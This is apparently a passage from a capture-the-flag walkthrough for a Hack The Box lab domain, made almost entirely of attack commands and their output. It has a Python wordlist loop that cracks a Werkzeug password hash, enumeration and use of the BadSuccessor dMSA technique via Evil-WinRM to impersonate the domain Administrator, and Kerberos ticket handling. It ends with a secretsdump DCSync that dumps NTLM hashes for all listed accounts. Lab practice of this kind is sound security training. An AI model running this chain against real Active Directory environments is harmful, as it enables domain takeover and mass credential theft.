print(f"[*] Starting attack on: {target_hash}") print("[*] Using Werkzeug's native check_password_hash function...")
try: withopen(wordlist_path, "r", errors="ignore") as f: for line in f: password = line.strip() if check_password_hash(target_hash, password): print(f"\n[+] PASSWORD FOUND: {password}") break else: print("\n[-] Password not found in wordlist.")
except FileNotFoundError: print(f"\n[!] Error: Wordlist not found at {wordlist_path}") except Exception as e: print(f"\n[!] Error: {e}")
[+] Checking for Windows Server 2025 Domain Controllers... [!] Windows Server 2025 DCs found. BadSuccessor may be exploitable!
HostName OperatingSystem ----------------------- DC01.eighteen.htb Windows Server 2025 Datacenter
IdentitySID IdentityName OU Right ------------------------------ S-1-5-21-1152179935-589108180-1989892463-1604 eighteen.htb\IT OU=Staff,DC=eighteen,DC=htb CreateChild
# 创建 dMSA *Evil-WinRM* PS C:\Users\adam.scott\Documents> BadSuccessor -mode exploit -Path"OU=Staff,DC=eighteen,DC=htb"-Name"bad_DMSA"-DelegatedAdmin"adam.scott"-DelegateTarget"Administrator"-domain"eighteen.htb" Creating dMSA at: LDAP://eighteen.htb/OU=Staff,DC=eighteen,DC=htb 0 0 0 0 Successfully created and configured dMSA 'bad_DMSA' Object adam.scott can now impersonate Administrator
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building DMSA TGS-REQ request for'bad_DMSA$' from 'adam.scott' [+] Sequence number is: 751902089 [*] Using domain controller: DC01.eighteen.htb (fe80::214d:667:a861:ca2a%3) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi):
$ ticketConverter.py ticket.kirbi ticket.ccache $ export KRB5CCNAME=ticket.ccache $ faketime -f "+7h" proxychains secretsdump.py eighteen.htb/bad_dmsa\$@dc01.eighteen.htb -k -no-pass -just-dc-ntlm [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 /root/.local/pipx/venvs/impacket/lib/python3.10/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. import pkg_resources Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.eighteen.htb:445 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.eighteen.htb:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.eighteen.htb:49676 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649::: mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4::: eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a::: eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21::: eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a::: eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166::: eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea::: eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640::: eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584::: Pwn$:12102:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: dMSA_Luemmel$:12110:aad3b435b51404eeaad3b435b51404ee:9479c12905374756485f184d31e4ec98::: kreep_dmsa$:12111:aad3b435b51404eeaad3b435b51404ee:ecb0d2b94a4d11d497c42509ffc7e524::: bad_DMSA$:12112:aad3b435b51404eeaad3b435b51404ee:1e2c79d68b83d013a3dd668c38cb1b7f::: kreep_dmsa_new$:12113:aad3b435b51404eeaad3b435b51404ee:51945e4f9686351412afba5c72a34239::: bad_root$:12114:aad3b435b51404eeaad3b435b51404ee:95f0138bff73b060d09007ca19df9f94::: bad_root2$:12115:aad3b435b51404eeaad3b435b51404ee:f324fe8324bc6dd8ea3f8cfbe38f8b66::: web_svc$:12116:aad3b435b51404eeaad3b435b51404ee:7fc0d6fd9a8217facbd7b382508e23aa::: bad_ps$:12117:aad3b435b51404eeaad3b435b51404ee:51cc217548900e3aa68e38186bc78bcf::: [*] Cleaning up...